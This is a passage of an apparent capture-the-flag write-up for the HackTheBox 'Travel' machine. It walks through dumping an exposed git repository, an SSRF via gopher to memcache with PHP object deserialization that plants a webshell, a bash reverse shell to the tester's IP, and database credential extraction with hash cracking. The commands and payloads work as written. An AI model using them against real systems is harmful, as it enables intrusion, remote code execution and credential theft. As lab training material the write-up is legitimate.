   | Found By: Robots Txt (Aggressive Detection)
   | Confidence: 100%

  [+] XML-RPC seems to be enabled: http://blog.travel.htb/xmlrpc.php
   | Found By: Direct Access (Aggressive Detection)
   | Confidence: 100%
   | References:
   |  - http://codex.wordpress.org/XML-RPC_Pingback_API
   |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
   |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
   |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
   |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

  [+] WordPress readme found: http://blog.travel.htb/readme.html
   | Found By: Direct Access (Aggressive Detection)
   | Confidence: 100%

  [+] The external WP-Cron seems to be enabled: http://blog.travel.htb/wp-cron.php
   | Found By: Direct Access (Aggressive Detection)
   | Confidence: 60%
   | References:
   |  - https://www.iplocation.net/defend-wordpress-from-ddos
   |  - https://github.com/wpscanteam/wpscan/issues/1299

  [+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
   | Found By: Rss Generator (Passive Detection)
   |  - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
   |  - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>

  [+] WordPress theme in use: twentytwenty
   | Location: http://blog.travel.htb/wp-content/themes/twentytwenty/
   | Last Updated: 2021-03-09T00:00:00.000Z
   | Readme: http://blog.travel.htb/wp-content/themes/twentytwenty/readme.txt
   | [!] The version is out of date, the latest version is 1.7
   | Style URL: http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2
   | Style Name: Twenty Twenty
   | Style URI: https://wordpress.org/themes/twentytwenty/
   | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
   | Author: the WordPress team
   | Author URI: https://wordpress.org/
   |
   | Found By: Css Style In Homepage (Passive Detection)
   | Confirmed By: Css Style In 404 Page (Passive Detection)
   |
   | Version: 1.2 (80% confidence)
   | Found By: Style (Passive Detection)
   |  - http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'

  [i] No plugins Found.
  [i] No Config Backups Found.
```

#### 2.1.3 http\[://]blog-dev.travel.htb

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfclW5Z1rsW2wqDmH-i%2F-MfclZfy5Bofl4-fHJMt%2Fimage.png?alt=media\&token=3d835e3e-3093-4c66-a4bf-95d279d01ede)

The landing page returns forbidden and doing more enumeration using `nmap` returns:

```bash
$ sudo nmap -p 80 --script safe,vuln -Pn blog-dev.travel.htb

  PORT   STATE SERVICE
  80/tcp open  http
  [...omitted...]
  | http-enum: 
  |_  /.git/HEAD: Git folder
  |_http-fetch: Please enter the complete path of the directory to save data in.
  | http-git: 
  |   10.10.10.189:80/.git/
  |     Git repository found!
  |     Repository description: Unnamed repository; edit this file 'description' to name the...
  |_    Last commit message: moved to git 
  | http-headers: 
  |   Server: nginx/1.17.6
  [...omitted...]
  |   
  |_  (Request type: GET)
  [...omitted...]
```

A `/.git` directory was found but navigating to it also returns a **403 Response** (Forbidden). Attempting to use `gobuster` to see if responses other than **403** could be seen:

```bash
$ gobuster dir -o 80_gobuster_blog-dev_git.txt --timeout 5s -u http://blog-dev.travel.htb/.git -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

  /index                (Status: 200) [Size: 297]
  /info                 (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/info/]
  /config               (Status: 200) [Size: 92]                                             
  /logs                 (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/logs/]
  /objects              (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/objects/]
  /description          (Status: 200) [Size: 73]                                                
  /branches             (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/branches/]
  [...omitted...]
```

Since only the root seems to be unreadable, maybe we could extract the git files using [**git-dumper.py**](https://github.com/arthaud/git-dumper)

```bash
$ mkdir 80_git_blog-dev

$ ./git-dumper/git_dumper.py http://blog-dev.travel.htb ./80_git_blog-dev

  [-] Testing http://blog-dev.travel.htb/.git/HEAD [200]
  [-] Testing http://blog-dev.travel.htb/.git/ [403]
  [-] Fetching common files
  [...omitted...]

$ ls -a ./80_git_blog-dev

  .git  README.md  rss_template.php  template.php

$ ls -a ./80_git_blog-dev/.git

  COMMIT_EDITMSG  config  description  HEAD  hooks  index  info  logs  objects  refs

$ cat ./80_git_blog-dev/.git/logs/HEAD 

  0000000000000000000000000000000000000000 0313850ae948d71767aff2cc8cc0f87a0feeef63 jane <jane@travel.htb> 1587458094 -0700    commit (initial): moved to git

$ cat ./80_git_blog-dev/README.md

  # Rss Template Extension

  Allows rss-feeds to be shown on a custom wordpress page.

  ## Setup

  * `git clone https://github.com/WordPress/WordPress.git`
  * copy rss_template.php & template.php to `wp-content/themes/twentytwenty` 
  * create logs directory in `wp-content/themes/twentytwenty` 
  * create page in backend and choose rss_template.php as theme

  ## Changelog

  - temporarily disabled cache compression
  - added additional security checks 
  - added caching
  - added rss template

  ## ToDo

  - finish logging implementation
```

The contents of the `.git` folder seems to pertain to the deployment of and RSS feed for other services. A user, **jane** (<jane@travel.htb>), was also found to have been responsible for the creation of the repository. And based on the output of `wpscan` from **http\[://]blog.travel.htb**, the RSS service may have been deployed to it as well.

### 2.2 TCP PORT 443 : HTTPS

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfclW5Z1rsW2wqDmH-i%2F-Mfclj1tcCsZE6YYf5f1%2Fimage.png?alt=media\&token=4eb4f4a5-1a07-4500-99d9-0f5e381d9338)

All subdomains, when accessed via HTTPS, returns an under construction page with the following message:

```
We are currently sorting out how to get SSL 
implemented with multiple domains properly. Also we 
are experiencing severe performance problems on SSL 
still.

In the meantime please use our non-SSL websites.

Thanks for your understanding,
admin
```

## PART 3 : EXPLOITATION

### 3.1 The RSS Feed

#### 3.1.1 RSS in blog.travel.htb:

Looking back at the output of `wpscan`:

```bash
[+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
 |  - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
```

As well as the landing page of http\[://]blog.travel.htb, there is a link to **Awesome RSS** in the navigation bar:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfclW5Z1rsW2wqDmH-i%2F-MfclxqWiC5N8WTdctil%2Fimage.png?alt=media\&token=4a016b4e-6d26-4b51-a08d-4c7d66650688)

This brings you to **http\[://]blog.travel.htb/awesome-rss**:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfclW5Z1rsW2wqDmH-i%2F-MfclwHpKsSdxQefi2SA%2Fimage.png?alt=media\&token=c1f546b7-1c94-49f4-8207-feb3422306dd)

#### 3.1.3 Review of **rss\_template.php**:

This was extracted from the contents of http\[://]blog-dev.travel.htb/.git/

```php
<?php
    /*
    Template Name: Awesome RSS
    */
    include('template.php');
    get_header();
?>
[...omitted...]
<?php
    function get_feed($url){
        require_once ABSPATH . '/wp-includes/class-simplepie.php';        
        $simplepie = null;      
         $data = url_get_contents($url);
         if ($url) {
             $simplepie = new SimplePie();
             $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
             //$simplepie->set_raw_data($data);
             $simplepie->set_feed_url($url);
             $simplepie->init();
             $simplepie->handle_content_type();
             if ($simplepie->error) {
                error_log($simplepie->error);
                 $simplepie = null;
                 $failed = True;
             }
         } else {
             $failed = True;
         }
         return $simplepie;
    }

     $url = $_SERVER['QUERY_STRING'];
    if(strpos($url, "custom_feed_url") !== false){
        $tmp = (explode("=", $url));     
        $url = end($tmp);     
     } else {
          $url = "http://www.travel.htb/newsfeed/customfeed.xml";
     }
     $feed = get_feed($url); 
    if ($feed->error()) {
        echo '<div class="sp_errors">' . "\r\n";
        echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
        echo '</div>' . "\r\n";
    }
    else {
?>
[...omitted...]
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
  include('debug.php');
}
?>
-->
[...omitted...]
```

There us a function `get_feed($url)` that is using [SimplePie](https://simplepie.org/) for the RSS and ***memcache*** for caching data. The argument that will be fed to the function is probably passed through **GET parameters** (*custom\_feed\_url*) in **http\[://]blog.travel.htb/awesome-rss** and if none are supplied, will default to `http://www.travel.htb/newsfeed/customfeed.xml`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfclW5Z1rsW2wqDmH-i%2F-Mfcm03LMA6XhuaobDwF%2Fimage.png?alt=media\&token=0f02c09a-7fbf-4750-94ab-5e0a8899f4bc)

Which has the same contents listed in **http\[://]blog.travel.htb/awesome-rss** only in XML format.

Aside from the **`get_feed($url)`** function there seems to be a debug page as well -- **debug.php** which could be requested by adding a GET parameter, **`?debug`**. It will still request the usual page but will include debug statements enclosed in HTML comments:

```bash
$ curl -G -d "debug" http://blog.travel.htb/awesome-rss/

  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]
```

### 3.2 RFI in get\_feed()

1. Create a **customfeed.xml** file based on **`http://www.travel.htb/newsfeed/customfeed.xml`**:

   ```markup
   <rss version="2.0">
       <channel>
           <item>
               <title>
                   Jebidiah was here
               </title>
               <link>http://10.10.14.6/something</link>
               <guid>http://10.10.14.6/something</guid>
               <pubDate>Mon, 30 Sep 2019 08:20:05 -0500</pubDate>
               <description>
                   This is a test.
               </description>
           </item>
       </channel>
   </rss>
   ```
2. Start a Python HTTP Server:

   ```
   $ sudo python -m SimpleHTTPServer 80
   ```
3. Requesting **/awesome-rss/** with a ***custom\_feed\_url*** and ***debug*** parameter:

   ```
   $ curl -G -d "debug=1&custom_feed_url=http://10.10.14.6/customfeed.xml" http://blog.travel.htb/awesome-rss/

     [...omitted...]
     <!--
     DEBUG
      ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
     | xct_54bddbaec1(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
      ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
     -->
     [...omitted...]
   ```
4. Looking back at started HTTP server:

   ```
   10.10.10.189 - - [xx/xxx/xxxx xx:xx:xx] "GET /customfeed.xml HTTP/1.1" 200 -
   10.10.10.189 - - [xx/xxx/xxxx xx:xx:xx] "GET /customfeed.xml HTTP/1.1" 200 -
   ```

The request to the local HTTP Server went through and it seems like a PHP serialized object was logged into memcache as indicated by the **`xct_`** prefix.

### 3.3 Interaction with memcache

#### 3.3.1 How data is saved to memcache

Based on the [**class-simplepie.php**](https://github.com/WordPress/WordPress/blob/master/wp-includes/class-simplepie.php) which is included in **rss\_template.php** extracted from the [WordPress Github Page](broken://pages/-MfcjlWibPKz6-A7rNV5):

```php
[...omitted...]
if ($this->feed_url !== null)
{
    $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));

    // Decide whether to enable caching
    if ($this->cache && $parsed_feed_url['scheme'] !== '')
    {
        $url = $this->feed_url . ($this->force_feed ? '#force_feed' : '');
        $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));
    }

    // Fetch the data via SimplePie_File into $this->raw_data
    if (($fetched = $this->fetch_data($cache)) === true)
    {
        return true;
    }
    elseif ($fetched === false) {
        return false;
    }

    list($headers, $sniffed) = $fetched;
}
[...omitted...]
public $cache_name_function = 'md5';
[...omitted...]
public function set_cache_name_function($function = 'md5')
{
    if (is_callable($function))
    {
        $this->cache_name_function = $function;
    }
}
[...omitted...]
```

When the **`feed_url`** parameter is not **`null`**, a **`call()`** function from the **`registry`** property will be made to a **`get_handler()`** function in [**Cache.php**](https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache.php) and in this case the value of **`$this->cache_location`** has been set to **`memcache://127.0.0.1:11211/?timeout=60&prefix=xct_`** and **`$url`** will be hashed using **MD5** based on **`call_user_func($this->cache_name_function, $url)`**:

```php
[...omitted...]
protected static $handlers = array(
    'mysql'     => 'SimplePie_Cache_MySQL',
    'memcache'  => 'SimplePie_Cache_Memcache',
    'memcached' => 'SimplePie_Cache_Memcached',
    'redis'     => 'SimplePie_Cache_Redis'
);
[...omitted...]
public static function get_handler($location, $filename, $extension)
{
    $type = explode(':', $location, 2);
    $type = $type[0];
    if (!empty(self::$handlers[$type]))
    {
        $class = self::$handlers[$type];
        return new $class($location, $filename, $extension);
    }

    return new SimplePie_Cache_File($location, $filename, $extension);
}
[...omitted...]
```

What will happen is that the substring, **`memcache`**, will be extracted from the passed location (`memcache://127.0.0.1...`) which will return **`SimplePie_Cache_Memcache`** based on the array of handlers defined. After which a newly initialized class of the same name will be returned.

```php
public function __construct($location, $name, $type)
{
    $this->options = array(
        'host' => '127.0.0.1',
        'port' => 11211,
        'extras' => array(
            'timeout' => 3600, // one hour
            'prefix' => 'simplepie_',
        ),
    );
    $this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

    $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

    $this->cache = new Memcache();
    $this->cache->addServer($this->options['host'], (int) $this->options['port']);
}
```

The constructor function taken from the **`SimplePie_Cache_Memcache`** class definition [**Memcache.php**](https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache/Memcache.php) takes the same parameters from the ones passed to **`get_handler()`** from **Cache.php**. The values from **`$this->options`** will be changed since some values were set in the **`$location`** variable (**`?timeout=60&prefix=xct_`**) so in this case, the prefix that will be used is **`xct_`** instead of **`simplepie`**. Afterwhich, the value of **`$name`** will be appended to the prefix.

```php
public function save($data)
{
    if ($data instanceof SimplePie)
    {
        $data = $data->data;
    }
    return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
}
```

The data provided (contents of **`$url`**) will then be serialized and saved into the cache.

To summarize specific to this scenario:

1. The caching begins by taking three parameters that will be passed to the **`get_handler()`** function in **Cache.php** -- **`memcache://127.0.0.1:11211/?timeout=60&prefix=xct_`**, **`fe1fb813519a90aa175e3f3d721a07ca`** (MD5 value of **`http://10.10.14.6/customfeed.xml`**), and `spc`
2. The **`get_handler()`** function will then determine what method of caching is needed based on the first parameter given; in this case, **memcache** so the class definition of **`SimplePie_Cache_Memcache`** will be used. The name of the data that will be written in the cache will follow the format --**`xct_`** plus the value of **`md5("fe1fb813519a90aa175e3f3d721a07ca:spc")`**
3. A serialized version of the data will then be saved in to the cached catalogued with the prefix plus the newly generated md5.

#### 3.3.2 Review of debug.php

The output for **debug.php** last time when **`http://10.10.14.6/customfeed.xml`** was requested was:

```
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | xct_54bddbaec1(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

Following the process explained earlier, the marker generated (**`xct_54bddbaec1(...)`**) should be the same as **`md5(md5("http://10.10.14.6/customfeed.xml").":spc");`** which is actually the case -- **54bddbaec1543acec82c7141efde0625**

### 3.4 Input Sanitation Check

#### 3.4.1 Review of template.php

This file was also extracted from the contents of http\[://]blog-dev.travel.htb/.git/ and it seems to be responsible for validating user input supplied in the ***url*** parameter when requesting **/awesome-rss/**:

```php
<?php

/**
 Todo: finish logging implementation via TemplateHelper
*/

function safe($url)
{
    // this should be secure
    $tmpUrl = urldecode($url);
    if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
    {        
        die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
    }
    if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
    {        
        die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
    }
    $tmp = parse_url($url, PHP_URL_HOST);
    // preventing all localhost access
    if($tmp == "localhost" or $tmp == "127.0.0.1")
    {        
        die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");        
    }
    return $url;
}

function url_get_contents ($url) {
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    $output = shell_exec($pl);
    return $output;
}
```

The **`safe($url)`** defined prevents *Local File Inclusion (LFI)* using **`file://`** and *Server-Side Request Forgery (SSRF)* by filtering requests made via **localhost**. Meanwhile, even though there is a **`shell_exec()`** function in **`url_get_contents()`**, *Command Injection* is avoided by first passing through the **`safe()`** function to avoid polluting the **`curl`** command and then passing the ***url*** parameter through `escapeshellarg()` to avoid injection using **`/$(<command>)`** or appending new commands after a semi-colon (**`;<command>`**) to name a few examples.

```php
class TemplateHelper
{

    private $file;
    private $data;

    public function __construct(string $file, string $data)
    {
        $this->init($file, $data);
    }

    public function __wakeup()
    {
        $this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {        
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}
```

Also inside **template.php** is a defined class, **`TemplateHelper`**. There are two initialized object properties defined in the class, ***file*** and ***data***, based on the class constructor. The **\`**&#x77;akeup()`__ function is executed during deserialization. In this case, the defined function, __`init()`__ will be executed when __`**wakeup()\`** is triggered. **`init()`** will write to **\`**&#x44;I&#x52;**.'/logs'\`** with the filename defined in **`$file`** and contents defined in **`$data`**.

#### 3.4.2 The location of `__DIR__`.'/logs'

Earlier when the contents of **http\[://]blog-dev.travel.htb/.git** were extracted, the **README.md** file stated that **rss\_template.php** and **template.php** were saved to **`wp-content/themes/twentytwenty`**:

```
  ## Setup

  * `git clone https://github.com/WordPress/WordPress.git`
  * copy rss_template.php & template.php to `wp-content/themes/twentytwenty` 
  * create logs directory in `wp-content/themes/twentytwenty` 
  * create page in backend and choose rss_template.php as theme
```

Proving that **`./logs`** is in the same directory:

```bash
$ curl -I http://blog.travel.htb/wp-content/themes/twentytwenty/logs/

  HTTP/1.1 403 Forbidden
  Server: nginx/1.17.6
  Date: Sun, 04 Apr 2021 16:13:30 GMT
  Content-Type: text/html; charset=iso-8859-1
  Connection: keep-alive
```

### 3.5 SSRF in RSS Feed

The **memcache** service is running via localhost and based on **template.php**, the sanitation of user input is limited to blacklisting "**localhost**" and "**127.0.0.1**" which could easily be bypassed:

#### 3.5.1 Leverage the TemplateHelper class

Serialized objects are passed through **`memcache`** so we will use the **`TemplateHelper`** to write a file into the server.

```php
<?php
class TemplateHelper
{

    public $file;
    public $data;

    public function __construct(string $file, string $data)
    {
        $this->init($file, $data);
    }

    public function __wakeup()
    {
        $this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {        
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
    }
}

$afw = new TemplateHelper("jebidiah.php", '<?php echo shell_exec($_GET["cmd"]); ?>');

echo serialize($afw);
?>
```

The initialized variables, **`$file`** and **`$data`**, were changed from being defined as **`private`** to **`public`** since the serialized data will be interpreted from outside the definition of the **`TemplateHelper`** class.

```bash
$ php serialize.php

  [...omitted...]
  O:14:"TemplateHelper":2:{s:4:"file";s:12:"jebidiah.php";s:4:"data";s:39:"<?php echo shell_exec($_GET["cmd"]); ?>";}
```

#### 3.5.2 Using Gopherus to Generate Payload:

This is a tool that helps to abuse SSRF vulnerabilities and achieve *Remote Code Execution* (RCE).

```bash
$ gopherus --exploit phpmemcache

  Give serialization payload
  example: O:5:"Hello":0:{}   : O:14:"TemplateHelper":2:{s:20:"TemplateHelperfile";s:12:"jebidiah.php";s:20:"TemplateHelperdata";s:39:"<?php echo shell_exec($_GET["cmd"]); ?>";}

  Your gopher link is ready to do SSRF :

  gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
```

#### 3.5.3 Bypassing the security check in template.php

```php
if($tmp == "localhost" or $tmp == "127.0.0.1")
{        
    die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");    
}
```

The only checks are only if the URL is requested via "**localhost**" and "**127.0.0.1**". This could easily bypassed by using **`2130706433`** (decimal value for 127.0.0.1), using **`0.0.0.0`**, or using **`0`**. The payload will be changed to:

```
gopher://0.0.0.0:11211/_%0d%0aset%20SpyD3r%204%200%20145%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22TemplateHelperfile%22%3Bs:12:%22jebidiah.php%22%3Bs:20:%22TemplateHelperdata%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
```

#### 3.5.4 Writing the gopher payload to cache

```bash
$ curl -G -d "custom_feed_url=gopher://0.0.0.0:11211/_%0d%0aset%20SpyD3r%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a" http://blog.travel.htb/awesome-rss/

$ curl -G -d "debug=1" http://blog.travel.htb/awesome-rss/
  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | SpyD3r | O:14:"TemplateHelper":2:{s:20:"Tem(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]
```

The serialized payload from earlier was successfully written to the cache.

#### 3.5.5 How data is loaded from the cache

Based on [**Memcache.php**](https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache/Memcache.php)

```php
public function load()
{
    $data = $this->cache->get($this->name);

    if ($data !== false)
    {
        return unserialize($data);
    }
    return false;
}
```

A check for a valid name(**xct\_\\**) is performed so it might be necessary for the data to be deserialized. The earlier execution was written as **`SpyD3r`** (Gopherus default) payload will be changed to:

```
gopher://0.0.0.0:11211/_%0d%0aset%20xct_54bddbaec1543acec82c7141efde0625%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
```

#### 3.5.6 Deserializing the right way

```
$ curl -G -d "custom_feed_url=gopher://0.0.0.0:11211/_%0d%0aset%20xct_54bddbaec1543acec82c7141efde0625%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a" --silent http://blog.travel.htb/awesome-rss/ >/dev/null

$ curl -G -d "debug=1" http://blog.travel.htb/awesome-rss/
  [...omitted...]
  <!--
  DEBUG
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  | xct_54bddbaec1(...) | O:14:"TemplateHelper":2:{s:20:"Tem(...) |
   ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  -->
  [...omitted...]

$ curl -G -d "debug=1&custom_feed_url=http://10.10.14.6/customfeed.xml" --silent http://blog.travel.htb/awesome-rss/ | grep xct
```

The last **`curl`** command was added to trigger the cached request to **`xct_54bddbaec1543acec82c7141efde0625`** but this time, the serialized content was from the **gopherus** payload.

#### 3.5.7 The Uploaded Webshell

Checking if the webshell was uploaded into the server:

```bash
$ curl -I http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php

  HTTP/1.1 200 OK
  Server: nginx/1.17.6
  Date: Sun, 04 Apr 2021 17:11:09 GMT
  Content-Type: text/html; charset=UTF-8
  Connection: keep-alive
  X-Powered-By: PHP/7.3.16
```

Commands could now be executed in the server:

```
$ curl -G -d "cmd=id" http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php

  uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## PART 4 : www-data -> lynik-admin

Setup a **netcat** listener for the reverse shell:

```bash
$ sudo nc -lvp 443
```

Execute the reverse shell using the uploaded webshell:

```bash
$ curl -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php
```

### 4.1 Machine Enumeration

#### 4.1.1 Host Information

```bash
www-data@blog:/var/www/html$ hostname

  blog

www-data@blog:/var/www/html$ cat /etc/passwd | grep -E "sh$"

  root:x:0:0:root:/root:/bin/bash

www-data@blog:/var/www/html$ ls -la / | grep docker

  -rwxr-xr-x   1 root root    0 Apr 23  2020 .dockerenv
```

No other users are in the system and upon further checking, it seems like the current shell is inside a docker container.

#### 4.1.2 Database Information

```bash
www-data@blog:/var/www/html$ cat wp-config.php

  // ** MySQL settings - You can get this info from your web host ** //
  /** The name of the database for WordPress */
  define( 'DB_NAME', 'wp' );

  /** MySQL database username */
  define( 'DB_USER', 'wp' );

  /** MySQL database password */
  define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' );

  /** MySQL hostname */
  define( 'DB_HOST', '127.0.0.1' );

  /** Database Charset to use in creating database tables. */
  define( 'DB_CHARSET', 'utf8mb4' );

  /** The Database Collate type. Don't change this if in doubt. */
  define( 'DB_COLLATE', '' );

www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "SHOW DATABASES;"

  Database
  information_schema
  mysql
  performance_schema
  wp

www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "USE wp; SHOW TABLES;"

  Tables_in_wp
  [...omitted...]
  wp_users

www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "SELECT user_login,user_pass,user_nicename,user_email,display_name FROM wp.wp_users;"
```

| user\_login | user\_pass                         | user\_nicename | user\_email        | display\_name |
| ----------- | ---------------------------------- | -------------- | ------------------ | ------------- |
| admin       | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin          | <admin@travel.htb> | admin         |

There are still no username aside from **`admin`** listed in the database.

#### 4.1.3 Search for a Valid User

```bash
www-data@blog:/$ find /opt -readable -uid 0 -type f 2>/dev/null

  /opt/wordpress/backup-13-04-2020.sql

www-data@blog:/$ strings /opt/wordpress/backup-13-04-2020.sql

  INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
```

It seems like from the SQL backup file, there were initially two users in the **`wp_users`** table:

| user\_login | user\_pass                         | user\_nicename | user\_email        | display\_name |
| ----------- | ---------------------------------- | -------------- | ------------------ | ------------- |
| admin       | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin          | <admin@travel.htb> | admin         |
| lynik-admin | $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc. | lynik-admin    | <lynik@travel.htb> | Lynik Schmidt |

### 4.2 Cracking the Hashes

```bash
$ hashcat --force -m 400 hashes /usr/share/wordlists/rockyou.txt

  $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.:1stepcloser
```

### 4.3 SSH as lynik-admin

```bash
$ ssh -l lynik-admin 10.10.10.189

lynik-admin@10.10.10.189's password: 1stepcloser

lynik-admin@travel:~$ cat user.txt

  829b1a348e8c6ed74b876c305c470492
```

## PART 5 : lynik-admin -> brian

### 5.1 Machine Enumeration

#### 5.1.1 Host information

```bash
lynik-admin@travel:~$ cat /etc/passwd | grep -E "sh$"

  root:x:0:0:root:/root:/bin/bash
  trvl-admin:x:1000:1000:trvl-admin:/home/trvl-admin:/bin/bash
  lynik-admin:x:1001:1001::/home/lynik-admin:/bin/bash

lynik-admin@travel:~$ cat /etc/ssh/sshd_config

  [...omitted...]
  AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
  AuthorizedKeysCommandUser nobody
  [...omitted...]
```

